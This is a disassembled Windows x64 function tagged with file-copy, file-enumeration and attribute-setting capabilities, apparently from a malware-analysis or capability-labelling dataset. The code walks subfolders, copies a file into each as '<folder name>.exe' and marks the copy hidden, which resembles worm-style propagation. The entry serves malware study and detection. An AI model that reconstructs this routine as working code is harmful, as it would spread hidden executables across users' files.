Function at 0x140006884
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rax - 0x2f8]
sub rsp, 0x3d0
mov qword [rbp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov rbx, rdx
mov rsi, rcx
mov r12d, 7
mov qword [rsp + 0x38], r12
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
or r13, 0xffffffffffffffff
cmp word [rdx], r14w
jne 0x1400068ec
mov r8d, r14d
jmp 0x1400068f9
mov r8, r13
inc r8
cmp word [rdx + r8*2], r14w
jne 0x1400068ef
lea rcx, [rsp + 0x20]
call fcn.1400020dc
nop
lea r8, [0x14002a54c]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.14000b678
cmp qword [rax + 0x18], 8
jb 0x140006923
mov rax, qword [rax]
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp qword [rbp - 0x68], 8
jb 0x140006943
mov rcx, qword [rbp - 0x80]
call fcn.14000de08
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], r14
mov word [rbp - 0x80], r14w
cmp qword [rsp + 0x38], 8
jb 0x140006962
mov rcx, qword [rsp + 0x20]
call fcn.14000de08
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
cmp rdi, r13
je 0x140006c0d
test byte [rbp + 0x70], 0x10
je 0x140006bef
movzx ecx, word [rbp + 0x9c]
movzx eax, word [rbp + 0x9e]
cmp cx, word [0x14002a554]
jne 0x1400069a9
cmp ax, word [0x14002a556]
je 0x140006bef
cmp cx, word [0x14002a558]
jne 0x1400069cf
cmp ax, word [0x14002a55a]
jne 0x1400069cf
movzx eax, word [rbp + 0xa0]
cmp ax, word [0x14002a55c]
je 0x140006bef
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
cmp word [rbx], r14w
jne 0x1400069ea
mov r8, r14
jmp 0x1400069f7
mov r8, r13
inc r8
cmp word [rbx + r8*2], r14w
jne 0x1400069ed
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400020dc
nop
lea r8, [0x14002a438]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14000b678
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.14000b678
nop
lea r8, [0x14002a570]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14000b678
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14000b678
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000b678
nop
cmp qword [rbp - 8], 8
jb 0x140006a7b
mov rcx, qword [rbp - 0x20]
call fcn.14000de08
mov qword [rbp - 8], r12
mov qword [rbp - 0x10], r14
mov word [rbp - 0x20], r14w
cmp qword [rbp - 0x48], 8
jb 0x140006a98
mov rcx, qword [rbp - 0x60]
call fcn.14000de08
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
cmp qword [rbp - 0x28], 8
jb 0x140006ab5
mov rcx, qword [rbp - 0x40]
call fcn.14000de08
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x30], r14
mov word [rbp - 0x40], r14w
cmp qword [rbp + 0x38], 8
jb 0x140006ad2
mov rcx, qword [rbp + 0x20]
call fcn.14000de08
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x30], r14
mov word [rbp + 0x20], r14w
cmp qword [rsp + 0x58], 8
jb 0x140006af1
mov rcx, qword [rsp + 0x40]
call fcn.14000de08
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rdx, qword [rbp + 0x48]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140006bdf
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
cmp word [rbp + 0x9c], r14w
jne 0x140006b42
mov r8, r14
jmp 0x140006b56
lea rax, [rbp + 0x9c]
mov r8, r13
inc r8
cmp word [rax + r8*2], r14w
jne 0x140006b4c
lea rdx, [rbp + 0x9c]
lea rcx, [rsp + 0x60]
call fcn.1400020dc
nop
lea r8, [rsp + 0x60]
lea rcx, [rbp]
call fcn.14000b7e8
cmp qword [rax + 0x18], 8
jb 0x140006b80
mov rax, qword [rax]
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rcx, qword [rbp + 0x48]
mov rdx, rax
call fcn.1400067c8
cmp qword [rbp + 0x18], 8
jb 0x140006ba6
mov rcx, qword [rbp]
call fcn.14000de08
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x10], r14
mov word [rbp], r14w
cmp qword [rsp + 0x78], 8
jb 0x140006bc5
mov rcx, qword [rsp + 0x60]
call fcn.14000de08
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rcx, qword [rbp + 0x48]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
cmp qword [rbp + 0x60], 8
jb 0x140006bef
mov rcx, qword [rbp + 0x48]
call fcn.14000de08
lea rdx, [rbp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000697b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret